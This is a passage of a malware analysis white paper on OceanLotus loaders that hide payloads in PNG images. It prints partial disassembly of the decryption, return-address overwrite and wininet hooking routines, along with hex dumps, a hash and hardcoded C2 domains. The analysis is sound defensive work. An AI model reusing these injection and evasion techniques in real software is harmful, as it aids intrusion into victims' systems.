a comment character (0x3B): .text:100023A0 dexor_loop: .text:100023A0 .text:100023A0 .text:100023A3 .text:100023A6 .text:100023A7 .text:100023AB ; CODE XREF: decode_payload+CB ; decode_payload+DB ; first byte of system.ini file (0x3B) [ecx+esi], bl eax, [ecx+esi] ecx, [esp+224h+decrypted_size] short dexor_loop Figure 19. Removing the final layer of payload obfuscation OceanLotus Steganography : Malware Analysis White Paper Performing the same steps in CyberChef, it is possible to decode the encrypted payload, which should yield x86 shellcode, starting with a call immediate opcode sequence: Figure 20. Decrypting first block of payload using CyberChef OceanLotus Steganography : Malware Analysis White Paper Steganography Loader #2 SHA256 4c02b13441264bf18cc63603b767c3d804a545a60c66ca60512ee59abba28d4d Classification Malware/Backdoor Size 658 KB (674,304 bytes) Type PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit File Name Varies Observed September 2018 Overview While this loader differs somewhat in general implementation, the payload extraction routine seems to be the same as in the previous variant. The main differences are: The way the decryption routine is called (from within the DllMain function, as opposed to an exported function) The way the payload is invoked (by overwriting the return address on the stack, as opposed to a direct call) Implementation of an additional anti-analysis check that compares the name of the parent process to a string stored in an encrypted resource We came across multiple variations of this DLL containing different parent process names, possibly targeted specifically to the victim s environment. Some of these names include processes related to security software: wsc_proxy.exe plugins-setup.exe SoftManager.exe GetEFA.exe Features Side-loaded DLL Anti-debugging/anti-sandboxing check for parent process name Loads next-stage payload using custom .png steganography Uses AES128 implementation from Crypto++ library for payload decryption Executes the payload by overwriting the return address on the stack Known to load an updated version of Remy backdoor OceanLotus Steganography : Malware Analysis White Paper Loader Analysis This DLL does not contain an export table and its entire functionality resides in the DllMain routine: .text:10077D50 ; BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) .text:10077D50 _DllMain@12 proc near ; CODE XREF: ___DllMainCRTStartup+6D .text:10077D50 ; ___DllMainCRTStartup+85 .text:10077D50 .text:10077D50 hinstDLL = dword ptr 4 .text:10077D50 fdwReason = dword ptr 8 .text:10077D50 lpvReserved = dword ptr 0Ch .text:10077D50 .text:10077D50 [esp+fdwReason] .text:10077D54 eax, [esp+hinstDLL] .text:10077D58 hinstDll, eax .text:10077D5D short ret_1 .text:10077D5F push ; hModule .text:10077D60 call check_parent_name .text:10077D65 esp, 4 .text:10077D68 test eax, eax .text:10077D6A short ret_1 .text:10077D6C push offset decode_inject_payload ; int .text:10077D71 call overwrite_return_addr .text:10077D76 esp, 4 .text:10077D79 test eax, eax .text:10077D7B short ret_1 .text:10077D7D esp, 18h .text:10077D80 ecx, esp ; int .text:10077D82 push offset word_10091BCA ; void * .text:10077D87 call memmove_stuff .text:10077D8C call write_pid_to_desktop_ini .text:10077D91 esp, 18h .text:10077D94 .text:10077D94 ret_1: ; CODE XREF: DllMain(x,x,x)+D .text:10077D94 ; DllMain(x,x,x)+1A j ... .text:10077D94 eax, 1 .text:10077D99 retn .text:10077D99 _DllMain@12 endp Figure 21. Variant #2 DllMain function Upon execution, the malware will first decrypt a string from its resources and compare it against the name of the parent process. If the names differ, the malware will simply exit without touching the payload. The resource containing the expected process name (ICON/1) is XORed with the first byte of the legitimate C:\Windows\system.ini file 0x3B ( Figure 22. Obfuscated file name in ICON/1 resource OceanLotus Steganography : Malware Analysis White Paper .text:10002140 .text:10002144 .text:10002144 decrypt_resource: .text:10002144 .text:10002147 .text:1000214A .text:1000214B .text:1000214D .text:1000214F .text:1000214F loc_1000214F: .text:1000214F push .text:10002154 .text:10002158 call .text:1000215D .text:10002160 .text:10002162 push .text:10002167 push .text:10002168 push .text:1000216A call .text:10002170 test .text:10002172 .text:10002174 push .text:10002175 call .text:1000217B push .text:1000217C push .text:1000217D call .text:1000217D .text:10002183 .text:10002185 test .text:10002187 cmovnz .text:1000218A edx, [esp+18h+xor_key] ; first byte of system.ini (0x3B) ; CODE XREF: check_parent_name+7D [ecx+ebx], dl ; ebx = resource eax, [ecx+ebx] ecx, ebp short decrypt_resource ; CODE XREF: check_parent_name+6E 104h ; unsigned int byte ptr [ebx+ebp], 0 ??_U@YAPAXI@Z ; operator new[](uint) esp, 4 esi, eax 104h ; nSize ; lpFilename ; hModule ds:GetModuleFileNameA eax, eax short loc_1000218E ; pszPath ds:PathFindFileNameA ; module file name ; decrypted resource ds:lstrcmpiA ; check if the filename in the resource ; is the same as module filename ecx, ecx eax, eax edi, ecx [esp+18h+retval], edi Figure 23. Parent process name comparison OceanLotus Steganography : Malware Analysis White Paper If the parent name matches, the malware will traverse the stack in order to find a return address that falls into the memory of the parent process s text section: .text:10002492 push .text:10002493 push .text:10002494 call .text:10002499 .text:1000249C .text:1000249F .text:100024A2 test .text:100024A4 .text:100024A6 .text:100024A9 push .text:100024AA .text:100024AD push .text:100024AE .text:100024B1 .text:100024B1 find_return_address: .text:100024B1 .text:100024B1 .text:100024B3 test .text:100024B5 .text:100024B7 .text:100024BA .text:100024BC .text:100024BF .text:100024C1 .text:100024C3 .text:100024C3 .text:100024C5 .text:100024C5 loc_100024C5: .text:100024C5 .text:100024C5 .text:100024C7 .text:100024CA .text:100024CC .text:100024CE .text:100024D0 .text:100024D2 .text:100024D4 .text:100024D7 .text:100024DA .text:100024DA next: .text:100024DA .text:100024DA test .text:100024DC ; text section RVA ; module handle find_text_section esp, 0Ch [ebp+stack_frame], ebp eax, [ebp+stack_frame] eax, eax short ret_0 edx, [ebp+dll_text_section_endptr] ; base + text_rva + text_size ebx, [ebp+dll_text_section_ptr] ; base + text_rva edi, [ebp+loader_textsection_endptr] ; base + text_rva + text_size ecx, [eax] ; CODE XREF: overwrite_return_addr+BC ; search the stack to find return address ; that is in the memory of the loader ecx, ecx short ret_0_ esi, [eax+4] ; ebp+4 eax, [esi] ; return address [ebp+loader_text_section_rva], eax short loc_100024C5 eax, edi short call_decrypt_function ; if the return address is within ; the memory of the loader ; CODE XREF: overwrite_return_addr+9F ; if return address is outside ; the memory of the loader [ebp+stack_frame], eax ; next stack frame ecx, [esi] ebx, ecx short next ecx, edx short next eax, 0Ch [ebp+stack_frame], eax eax, ecx ; CODE XREF: overwrite_return_addr+AE ; overwrite_return_addr+B2 eax, eax ; if return_address is outside the DLL text section short find_return_address Figure 24. Finding the return address on the stack OceanLotus Steganography : Malware Analysis White Paper Next, the payload is read from the .png cover file, which seems to have been taken from an inspirational quotes website3. In this instance, the payload is fully contained within the image s pixel color codes, leaving no remaining data beyond the IEND marker: Figure 25. Image containing encoded payload Finally, the loader will decrypt the payload to a memory buffer and overwrite the previously found return address with the pointer to that buffer, ensuring that the malicious shellcode will be executed when the DLL attempts to return to the caller: .text:100024E7 call_decrypt_function: ; CODE XREF: overwrite_return_addr+A3 .text:100024E7 call [ebp+decrypt_payload_function] .text:100024EA .text:100024EB [esi], eax ; overwrite return address .text:100024EB ; with injected payload ptr .text:100024ED eax, 1 .text:100024F2 .text:100024F3 .text:100024F4 esp, ebp .text:100024F6 .text:100024F7 retn .text:100024F7 overwrite_return_addr endp Figure 26. Overwriting return address with pointer to the decrypted payload http://www.getfrank.co.nz/editorial/inspirational-quotes/turn-your-face-to-the-sun-and-the-shadows-fall-behind-you-charlotte-whitton OceanLotus Steganography : Malware Analysis White Paper The loader embedded in the payload seems to be a variant of the Veil shellcode_inject payload, previously used by OceanLotus to load older versions of Remy backdoor. In this instance, the shellcode is configured to load an encoded backdoor from within the payload: Figure 27. Decoding process OceanLotus Steganography : Malware Analysis White Paper Backdoor Launcher The final payload comes in a form of a launcher DLL that contains an encrypted backdoor in its .rdata section and a plain-text configuration in its resources. The resources also store one or more C2 communication modules. The backdoor DLL and the C2 communication DLLs are heavily obfuscated using high quantities of junk code, which significantly inflates their size and makes both static analysis and debugging more difficult. In addition to Denes and Remy backdoors, at least two different communication modules were observed with different versions of this launcher DNSProvider and HTTPProv. Initial Shellcode The launcher binary, which contains the final backdoor, is RC4 encrypted and wrapped in a layer of obfuscated shellcode. We can see the familiar DOS stub in plain text, but the rest of the header and binary body are encrypted: 022A0000 022A0010 022A0020 022A0030 022A0040 022A0050 022A0060 022A0070 022A0080 022A0090 022A00A0 022A00B0 022A00C0 022A00D0 022A00E0 022A00F0 022A0100 022A0110 022A0120 022A0130 022A0140 022A0150 E8 E2 7A 16 00 FE FE FE 47 84 50 D4 10 7B D3 63 07 F7 3B 3C 9E 3A 5A 82 7D 55 61 C9 80 C9 EC 22 48 5C F3 93 D2 6C 91 ED 7A CF 51 46 E2 D1 51 A1 13 AB FF 31 11 31 8B F8 66 08 BF 5A BD 98 67 CF D2 76 B9 A0 60 42 82 64 37 1A C0 81 38 97 6F A5 58 CF 19 DA 90 FF 79 35 07 CA CB 01 55 61 63 AA 8E 27 C7 F7 58 1E 6E 81 10 13 55 08 B5 82 05 C4 69 5D 3B 47 3B D6 DF 9C 4D 65 10 CC B3 A5 68 BE 49 93 99 3D 3F 31 63 14 F1 E9 76 CE F2 C6 F5 F3 31 3D F8 18 F8 71 BB 0E B8 01 4C CD 21 54 68 69 6D 20 63 61 6E 6E 6F 74 69 6E 20 44 4F 53 20 6D FE DD 38 64 17 4C 32 BD 37 E3 D5 27 4B A2 65 BA 69 47 62 B8 1D 59 B2 B9 3B 8A 34 CC EE 76 82 3E 21 A8 24 F7 C1 E7 62 4A DB 33 31 7B CB 1F 4C D7 C6 B3 CC CF 4C 99 B6 FF AD EF 78 0C 44 71 3C E6 2F EC 40 26 FB 88 BF D9 4E F6 4D B2 21 66 DD B3 CC 08 D4 03 61 E1 B3 8F 4B 08 85 71 E6 4B D0 6F B2 8A 4B 42 FD 2B F9 96 FE A4 0C FF DB 1A FF 1E D9 93 31 FF F8 78 D3 6A FC 76 CA 17 E2 96 C7 B1 57 DF 08 C2 CF 87 76 C9 65 D4 C0 B4 99 26 4D DC 1F BA 0E 00 B4 09 CD 21 73 20 70 72 6F 67 72 61 20 62 65 20 72 75 6E 20 6F 64 65 2E 0D 0D 0A 24 8d.L2 x.Dq< .Uac X.n. ..U. i];G; =?1c.W !This progra m cannot be run in DOS mode....$ Figure 28. DOS stub in payload OceanLotus Steganography : Malware Analysis White Paper The shellcode is obfuscated using OceanLotus s standard approach of flattening the control flow and inserting junk opcodes (as described in the ESET white paper on OceanLotus4): debug053:024098B2 debug053:024098B3 debug053:024098B4 debug053:024098B5 debug053:024098B8 debug053:024098B9 debug053:024098BB debug053:024098BC debug053:024098BD debug053:024098BE debug053:024098C0 debug053:024098C4 debug053:024098C6 debug053:024098C7 debug053:024098C9 debug053:024098CD debug053:024098CE debug053:024098D0 debug053:024098D3 debug053:024098D6 debug053:024098D8 debug053:024098DA debug053:024098DC debug053:024098DD debug053:024098DF debug053:024098E4 debug053:024098E9 debug053:024098EB debug053:024098EF debug053:024098F0 debug053:024098F4 debug053:024098F5 debug053:024098F6 debug053:024098FA debug053:024098FE debug053:02409902 debug053:02409903 debug053:02409905 debug053:02409909 debug053:0240990A pushf push push xadd push push bswap test push popf edx, ebx dh, ch ecx, 2 ax, 0E1h bh, 3 ax, 1 ah, bh eax, 7950h ecx, 24DCh edx, [esp+80Ch+var_804] cx, ax ebx, [esp+80Ch+var_800] cx, 4 ecx, [esp+80Ch+var_808] eax, [esp+80Ch+var_7FC] Figure 29. Garbage opcodes https://www.welivesecurity.com/wp-content/uploads/2018/03/ESET_OceanLotus.pdf OceanLotus Steganography : Malware Analysis White Paper The shellcode starts in a fairly standard way by walking the list of loaded modules in order to find the base of kernel32.dll library: debug053:02407B58 debug053:02407B5E debug053:02407B5F debug053:02407B61 debug053:02407B63 debug053:02407B66 push eax, large fs:_TEB.ProcessEnvironmentBlock ebx, ebx edx, ebx [ebp-50h], ebx eax, [eax+_PEB_LDR_DATA.InLoadOrderModuleList.Flink] ecx, [eax+_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Blink] [ecx+_LDR_DATA_TABLE_ENTRY.DllBase], ebx loc_240A54D Figure 30. Walk modules debug053:024088B1 debug053:024088B4 debug053:024088B7 Figure 31. Find module debug053:0240898D dword ptr [ebp-40h], debug053:02408994 dword ptr [ebp-10h], debug053:0240899B dword ptr [ebp-28h], debug053:024089A2 loc_2409C85 debug053:02409C85 ; --------------------------------------------------------------------------debug053:02409C85 debug053:02409C85 loc_2409C85: ; CODE XREF: sub_2407AEF+EB3 debug053:02409C85 dword ptr [ebp-38h], debug053:02409C8C dword ptr [ebp-34h], debug053:02409C93 dword ptr [ebp-8], debug053:02409C9A dword ptr [ebp-14h], debug053:02409CA1 dword ptr [ebp-1Ch], debug053:02409CA8 dword ptr [ebp-24h], debug053:02409CAF dword ptr [ebp-44h], debug053:02409CB6 dword ptr [ebp-20h], Figure 32. Check for kernel32.dll OceanLotus Steganography : Malware Analysis White Paper Once kernel32 base is found, the shellcode will calculate the addresses of LoadLibraryA and GetProcAddress functions, and use them to resolve other necessary APIs, which include VirtualAlloc, RtlMoveMemory, and RtlZeroMemory: debug053:0240947C found_kernel32: debug053:0240947C debug053:0240947C debug053:0240947F debug053:02409482 debug053:0240948C debug053:02409496 debug053:02409499 debug053:024094A3 debug053:024094A9 debug053:024094B3 ; export table debug053:024094B7 debug053:024094B9 debug053:024094C3 debug053:024094CD debug053:024094D7 debug053:024094DA debug053:024094DC debug053:024094DF debug053:024094E2 debug053:024094E4 debug053:024094E7 debug053:024094EA ; CODE XREF: sub_2407AEF+87D ; sub_2407AEF+889 ecx, [ecx+_LDR_DATA_TABLE_ENTRY.DllBase] [ebp-10h], ecx dword ptr [ebp-56Ch], daoL dword ptr [ebp-568h], rbiL eax, [ecx+IMAGE_DOS_HEADER.e_lfanew] dword ptr [ebp-564h], Ayra [ebp-560h], ebx dword ptr [ebp-57Ch], PteG eax, [eax+ecx+IMAGE_NT_HEADERS32.OptionalHeader.DataDirectory.VirtualAddress] eax, ecx dword ptr [ebp-578h], Acor dword ptr [ebp-574h], erdd dword ptr [ebp-570h], esi, [eax+IMAGE_EXPORT_DIRECTORY.AddressOfNames] esi, ecx [ebp-20h], esi esi, [eax+IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals] esi, ecx [ebp-8], esi esi, [eax+IMAGE_EXPORT_DIRECTORY.AddressOfFunctions] eax, [eax+IMAGE_EXPORT_DIRECTORY.NumberOfNames] Figure 33. Resolve kernel32.dll imports debug053:02409942 dword ptr [ebp-58Ch], triV debug053:0240994C push debug053:0240994D push debug053:0240994E dword ptr [ebp-588h], Alau debug053:02409958 loc_2409055 debug053:02409055 ; --------------------------------------------------------------------------debug053:02409055 debug053:02409055 loc_2409055: ; CODE XREF: sub_2407AEF+1E69 debug053:02409055 dword ptr [ebp-584h], coll debug053:0240905F [ebp-580h], ebx debug053:02409065 call ; GetProcAddress Figure 34. VirtualAlloc string constructed on the stack 0027F270 0027F280 0027F290 0027F2A0 0027F2B0 0027F2C0 54 37 EC 88 93 C9 8A 55 65 72 6F 4D 65 6D 6F 72 6F 76 65 4D 65 6D 6F 72 75 61 6C 41 6C 6C 6F 63 72 6F 63 41 64 64 72 65 4C 69 62 72 61 72 79 41 CE 69 3C 00 52 74 6C 5A 79 00 00 00 52 74 6C 4D 79 00 00 00 56 69 72 74 00 00 00 00 47 65 74 50 73 73 00 00 4C 6F 61 64 00 00 00 00 87 05 51 CF i<.RtlZ eroMemory...RtlM oveMemory...Virt ualAlloc....GetP rocAddress..Load LibraryA.... Figure 35. Shellcode imports OceanLotus Steganography : Malware Analysis White Paper After resolving the APIs, the shellcode will decrypt the launcher binary and load it to the memory. MZ header, PE header, as well as each section and their header, are decrypted separately using RC4 algorithm and a hardcoded key: debug053:02408C28 decrypt_pe_header: debug053:02408C28 movzx debug053:02408C2F debug053:02408C36 debug053:02408C3C debug053:02408C42 movzx debug053:02408C45 movzx debug053:02408C48 debug053:02408C4F debug053:02408C56 movzx debug053:02408C59 movzx debug053:02408C61 debug053:02408C68 debug053:02408C6F debug053:02408C70 debug053:02408C76 ; CODE XREF: sub_2407AEF+10AC eax, byte ptr [ebp-5AFh] [ebp+eax-6B0h], cl bl, [ebp-5AFh] dl, [ebp-5B0h] ecx, bl eax, dl cl, [ebp+ecx-6B0h] cl, [ebp+eax-6B0h] eax, cl eax, byte ptr [ebp+eax-6B0h] al, [ebp+eax-35Ch] [ebp+esi-7E8h], al esi, 0F8h decrypt_PE_header_loop Figure 36. Fragment of code for RC4 decryption of PE header Once all sections are loaded, the relocations get fixed and the MZ/PE headers are zeroed out in memory: debug053:02409E32 find_reloc: debug053:02409E32 debug053:02409E35 debug053:02409E38 debug053:02409E3F debug053:02409E45 debug053:02409E4D debug053:02409F18 debug053:02409F1A debug053:02409F21 debug053:02409F26 debug053:02409F2A debug053:02409F30 debug053:02409F33 debug053:02409F39 movzx imul ; CODE XREF: sub_2407AEF+236C eax, cx eax, 28h dword ptr [eax+edx], ler. loc_2409E53 dword ptr [eax+edx+4], loc_2409EDA eax, edx dword ptr [ebp-0Ch], 3000h eax, 0F000h [ebp-0Ch], ax loc_2409797 edi, [ebp-8] edx, 0FFFh edx, [ecx] ; Fixup relocations Figure 37. Find .reloc section in loaded module The shellcode then proceeds to execute the payload DLL s entry point: debug053:02409723 debug053:02409723 loc_2409723: debug053:02409723 debug053:02409726 debug053:02409728 debug053:0240972E debug053:0240972F debug053:02409731 debug053:02409732 debug053:02409734 debug053:02409736 debug053:02409738 debug053:0240973E test push push push call test ; CODE XREF: sub_2407AEF+27DB eax, [edi+IMAGE_NT_HEADERS32.OptionalHeader.AddressOfEntryPoint] eax, eax null_ep eax, esi ; Call payload DLL entry-point eax, eax exit [edi+28h], ebx Figure 38. Execute OEP of payload DLL OceanLotus Steganography : Malware Analysis White Paper Launcher DLL The Internal name of this DLL is a randomly looking CLSID and it only exports one function called DllEntry. .rdata:00978B22 a79828cc5897943 db {79828CC5-8979-43C0-9299-8E155B397281}.dll .rdata:00978B4D aDllentry DllEntry ; DATA XREF: .rdata:off_978B1C Figure 39. DLL name and export Upon execution, the launcher will attempt to hook legitimate wininet.dll library by overwriting its entry point in memory with the address of a malicious routine. If successful, every time the system loads wininet.dll, the entry point of the subsequently dropped backdoor DLL will be executed before the original wininet entry point. .text:009069FE try_again_loop: ; CODE XREF: hook_wininet+9D .text:009069FE push offset aWininet ; wininet .text:00906A03 call ds:LoadLibraryW .text:00906A09 [ebp+wininet_base], eax .text:00906A0C [ebp+wininet_base], 0 .text:00906A10 short loc_906A14 .text:00906A12 short ret_1 .text:00906A14 ; --------------------------------------------------------------------------.text:00906A14 .text:00906A14 loc_906A14: ; CODE XREF: hook_wininet+20 .text:00906A14 ecx, [ebp+wininet_base] .text:00906A17 wininet_base, ecx .text:00906A1D edx, large fs:30h .text:00906A24 [ebp+peb], edx .text:00906A27 [ebp+peb], 0 .text:00906A2B short loc_906A2F .text:00906A2D short ret_1 .text:00906A2F ; --------------------------------------------------------------------------.text:00906A2F .text:00906A2F loc_906A2F: ; CODE XREF: hook_wininet+3B .text:00906A2F eax, [ebp+peb] .text:00906A32 ecx, [eax+PEB.Ldr] .text:00906A35 edx, [ecx+PEB_LDR_DATA.InMemoryOrderModuleList.Flink] .text:00906A38 edx, 8 .text:00906A3B [ebp+LDR_DATA_TABLE_ENTRY], edx .text:00906A3E short loc_906A4C .text:00906A40 ; --------------------------------------------------------------------------.text:00906A40 .text:00906A40 find_wininet: ; CODE XREF: hook_wininet:check_next .text:00906A40 eax, [ebp+LDR_DATA_TABLE_ENTRY] .text:00906A43 ecx, [eax+8] .text:00906A46 ecx, 8 .text:00906A49 [ebp+LDR_DATA_TABLE_ENTRY], ecx .text:00906A4C .text:00906A4C loc_906A4C: ; CODE XREF: hook_wininet+4E .text:00906A4C edx, [ebp+LDR_DATA_TABLE_ENTRY] .text:00906A4F [edx+LDR_DATA_TABLE_ENTRY.DllBase], 0 .text:00906A53 short try_load_wininet .text:00906A55 eax, [ebp+LDR_DATA_TABLE_ENTRY] .text:00906A58 ecx, [eax+LDR_DATA_TABLE_ENTRY.DllBase] OceanLotus Steganography : Malware Analysis White Paper .text:00906A5B ecx, [ebp+wininet_base] .text:00906A5E short check_next .text:00906A60 edx, [ebp+LDR_DATA_TABLE_ENTRY] .text:00906A63 eax, [edx+LDR_DATA_TABLE_ENTRY.EntryPoint] .text:00906A66 wininet_oep, eax .text:00906A6B ecx, [ebp+LDR_DATA_TABLE_ENTRY] .text:00906A6E edx, [ebp+call_decrypted_dll_ep_ptr] .text:00906A71 [ecx+LDR_DATA_TABLE_ENTRY.EntryPoint], edx ; ; .text:00906A71 ; replace wininet.dll EP with .text:00906A71 ; 0x08B31C0 call_decrypted_dll_ep .text:00906A74 short try_load_wininet .text:00906A76 ; --------------------------------------------------------------------------.text:00906A76 .text:00906A76 check_next: ; CODE XREF: hook_wininet+6E .text:00906A76 short find_wininet Figure 40. Routine that hooks wininet.dll .text:008B3108 .text:008B310C .text:008B310D .text:008B310E .text:008B3112 .text:008B3113 .text:008B3114 .text:008B3118 .text:008B311C .text:008B311E .text:008B3123 .text:008B3123 decrypt_loop: .text:008B3123 .text:008B3129 .text:008B3130 .text:008B3134 .text:008B313A .text:008B3141 .text:008B3144 .text:008B3147 .text:008B314A .text:008B314D .text:008B3154 .text:008B3158 .text:008B315F .text:008B3162 .text:008B3165 .text:008B3169 .text:008B316C .text:008B316E .text:008B3173 .text:008B3175 .text:008B3179 push push push push eax, [esp+scheduled_key] ebp, [esp+8+payload] edi, [esp+10h+out_buffer] [esp+10h+size], ecx ebp, edi ecx, 1 movzx movzx movzx movzx movzx movzx movzx movzx ; CODE XREF: rc4_crypt+79 [eax+100h], cl esi, byte ptr [eax+100h] edx, byte ptr [esi+eax] [eax+101h], dl ecx, byte ptr [eax+101h] bl, [ecx+eax] dl, [esi+eax] [esi+eax], bl [ecx+eax], dl ecx, byte ptr [eax+101h] ecx, byte ptr [ecx+eax] edx, byte ptr [eax+100h] cl, [edx+eax] edx, cl ecx, byte ptr [edx+eax] cl, [edi+ebp] [edi], cl ecx, 1 edi, ecx [esp+10h+size], ecx short decrypt_loop Figure 41. Backdoor decryption routine OceanLotus Steganography : Malware Analysis White Paper There is no proper DLL injection routine the payload is just decompressed to the memory as-is so the malware needs to fix all the pointers in the decompressed code, which is done on a one-by-one basis using hardcoded values and offsets. This part takes 90% of the whole launcher code and includes over 11,000 modifications: .text:008B34CC loc_8B34CC: .text:008B34CC .text:008B34CF .text:008B34D0 .text:008B34D3 .text:008B34D6 .text:008B34DB .text:008B34E0 .text:008B34E3 .text:008B34E6 .text:008B34E9 .text:008B34EA .text:008B34ED .text:008B34F0 .text:008B34F5 .text:008B34FA .text:008B34FD .text:008B3500 .text:008B3503 .text:008B3504 push call push push call push call push push call push call ; CODE XREF: decrypt_decompress_fix_payload+1D3 ecx, [ebp+function_pointers] [ebp+sub_904E10__call_comcritsect] esp, 4 3E455Bh ; difference 51D7FFh ; destination offset [ebp+sub_905F80__fix_pointer] ; 0x905F80 fix_pointer esp, 8 edx, [ebp+function_pointers] [ebp+sub_904E10__call_comcritsect] esp, 4 31183h 4E246Dh [ebp+sub_905F80__fix_pointer] esp, 8 eax, [ebp+function_pointers] [ebp+sub_904E10__call_comcritsect] Figure 42. A fragment of code used for fixing pointers The launcher then calls the backdoor DLL s entry point: .text:008E3966 .text:008E396B .text:008E396E .text:008E3972 .text:008E3974 .text:008E3976 .text:008E3978 .text:008E397E .text:008E397F call push push push call get_dll_ep_ptr [ebp+decompressed_dll_ep], eax [ebp+decompressed_dll_ep], 0 short loc_8E3982 ecx, decompressed_dll_ptr [ebp+decompressed_dll_ep] ; 0x1665777 DllEntryPoint Figure 43. Call to the backdoor entry point OceanLotus Steganography : Malware Analysis White Paper The routine that reads configuration from resources and decompresses the C2 communication library is then called by temporarily replacing the pointer to CComCriticalSection function with the pointer to that routine. Such an obfuscation method makes it difficult to spot it in the code: .text:008E3982 .text:008E3985 .text:008E3988 .text:008E398B .text:008E398E .text:008E3991 .text:008E3994 .text:008E3997 .text:008E399A .text:008E399B .text:008E399B read_rsrc: .text:008E399B .text:008E399E .text:008E39A1 .text:008E39A4 .text:008E39A7 push edx, [ebp+function_pointers] eax, [edx+ptrs.CComCriticalSection_ptr] [ebp+CComCriticalSection_ptr_cp], eax ecx, [ebp+function_pointers] edx, [ebp+function_pointers] eax, [edx+ptrs.read_resources_ptr] [ecx+ptrs.CComCriticalSection_ptr], eax ; replace function pointer ecx, [ebp+function_pointers] call [ebp+sub_904E10__call_comcritsect] ; call_read_resources esp, 4 edx, [ebp+function_pointers] eax, [ebp+CComCriticalSection_ptr_cp] [edx+ptrs.CComCriticalSection_ptr], eax ; restore original pointer Figure 44. Obfuscated call to resources decryption routine The launcher loads configuration from resources and uses an export from the backdoor DLL to initialize config values in memory. Resource P1/1 contains config values, including port number and a registry path: .rsrc:0097B108 res_P1_1 .rsrc:0097B108 .rsrc:0097B108 .rsrc:0097B108 .rsrc:0097B108 .rsrc:0097B108 .rsrc:0097B108 .rsrc:0097B574 .rsrc:0097B578 .rsrc:0097B578 dd 0, 230FD6D4h, 0E14E775h, 23358h, 0FFFFFFFFh, 14h dup(0) dd 8, 1138CCECh, 60h, 8E7C0003h, 0A8626E59h, 20926E73h dd 0FBEDE54Eh, 3D70648Fh, 9DB1247Fh, 0E314700Ch, 0DEE5DA86h, 9C70A7FFh dd 0AAB010CEh, 0EFB573BDh, 20B86F65h, 0BC325832h, 6E9BBE1Fh, 0F018C9A7h dd 0FBC42E22h, 0FC18150Ah, 5B129A84h, 84DFEEE9h, 0EE1BA8Dh, 0B81053E0h dd 1DE06A6Ah, 36BAD01Dh, 8FD6E94Eh, 7175D957h, 0A264352Dh, 0F2B39453h dd 8BCD3945h, 7Ah, 0E2h dup(0) dd 443 text UTF-16LE SOFTWARE\Classes\CLSID\{57C3E2E2-C18F-4ABF-BAAA-9D1 text UTF-16LE 7879AB029} Figure 45. Embedded configuration Resource P1/2 contains list of C2 URLs: .rsrc:0097B5F4 res_P1_2 .rsrc:0097B5F4 .rsrc:0097B5F4 .rsrc:0097B5F4 .rsrc:0097B5F4 .rsrc:0097B5F4 .rsrc:0097B5F4 .rsrc:0097B5F4 background.ristians.com:8888 ,0Ah enum.arkoorr.com:8531 ,0Ah worker.baraeme.com:8888 ,0Ah enum.arkoorr.com:8888 ,0Ah worker.baraeme.com:8531 ,0Ah plan.evillese.com:8531 ,0Ah background.ristians.com:8531 ,0Ah plan.evillese.com:8888 ,0Ah,0 Figure 46. Hardcoded C2 URLs OceanLotus Steganography : Malware Analysis White Paper Resource P1/ 0xC8 contains an additional compressed DLL used for C2 communication (HTTPProv): .rsrc:0097B6BC res_P1_C8 .rsrc:0097B6C0 .rsrc:0097B6C0 .rsrc:0097B6C5 .rsrc:0097B6C5 .rsrc:0097B6C5 .rsrc:0097B6C5 .rsrc:0097B6C5 dd 898608 db 5Dh, 0, 0, 0, 1 ; uncompressed size ; LZMA header ; compressed data - 637000 bytes db 0, 28h, 0Ch, 3Ch, 1Bh, 86h, 81h, 0A2h, 10h, 0B8h, 56h, 0A9h db 6, 6Eh, 0A9h, 0CAh, 0F8h, 91h, 12h, 0EEh, 4Fh, 60h, 0E2h, 3Eh db 55h, 3Bh, 5Fh, 0F6h, 83h, 32h, 9Ah, 7Dh, 83h, 2Ah, 18h, 8Fh db 0C6h, 83h, 94h, 0ECh, 0E7h, 31h, 0C7h, 0C5h, 0C2h, 0Eh, 0E2h, 0ECh db 0CBh, 94h, 88h, 30h, 4Eh, 0D8h, 0FEh, 0B5h, 8Bh, 0E6h, 0DEh, 0C7h Figure 47. Compressed C2 communication library Configuration values from the resources are then passed as parameter to one of the backdoor s functions in the following manner: .text:0090612E .text:00906131 .text:00906135 .text:00906137 .text:0090613B .text:0090613D .text:00906140 .text:00906141 .text:00906144 .text:00906145 .text:0090614A .text:0090614D push push push call [ebp+resource_2_urls], eax [ebp+resource_2_urls], 0 short loc_906150 [ebp+resource_2_size], 0 short loc_906150 edx, [ebp+resource_2_size] eax, [ebp+resource_2_urls] offset a9e3bd021B5ad49 ; {9E3BD021-B5AD-49DE-AE93-F178329EE0FE} [ebp+decr_dll_export_1_0x15DAA30] [ebp+resource_size], eax Figure 48. Initialization of config values After the content of resource 0xC8 is decompressed, another function from the backdoor DLL is used to load the C2 communication module to the memory and call its CreateInstance export: .text:009062C6 .text:009062C9 .text:009062CA .text:009062CD .text:009062CE .text:009062D1 .text:009062D2 push push push call eax, [ebp+decompr_buffer] ecx, [ebp+res_size] edx, [ebp+resource_C8h] decompress_second_mz .text:009062F2 .text:009062F5 .text:009062F6 .text:009062F8 .text:009062FB .text:00906300 .text:00906301 push push call push call ecx, [ebp+mz_size] ecx, [ebp+decompr_buffer] get_ptr ; ptr to decompressed resource [ebp+decr_mz_export_2_0x15DBC70] Figure 49. Decompression of second DLL Finally, the launcher passes control to the main backdoor routine: .text:00906313 .text:00906318 .text:0090631B .text:0090631F .text:00906321 .text:00906324 call call get_export_3_ptr [ebp+decr_mz_export_3_0x15D9130], eax [ebp+decr_mz_export_3_0x15D9130], 0 short endp [ebp+decr_mz_export_3_0x15D9130] [ebp+var_20], eax Figure 50. Call to the main backdoor routine OceanLotus Steganography : Malware Analysis White Paper Configuration Name Content Length Notes name is read from resource P1/0x64 {12C044FA-A4AB-433B88A2-32C3451476CE} memory pointer 4 points to a function that spawns another copy of malicious process {9E3BD021-B5AD-49DEAE93-F178329EE0FE} C&C URLs varies content is read from resource P1/2 config varies content is read from resource P1/1 {B578B063-93FB-4A5F82B4-4E6C5EBD393B} 0 (config+0x486) {5035383A-F7B0-424A9C9A-CA667416BA6F} port number 0x1BB (443) (config+0x46C) {68DDB1F1-E31F-42A9A35D-984B99ECBAAD} registry path varies 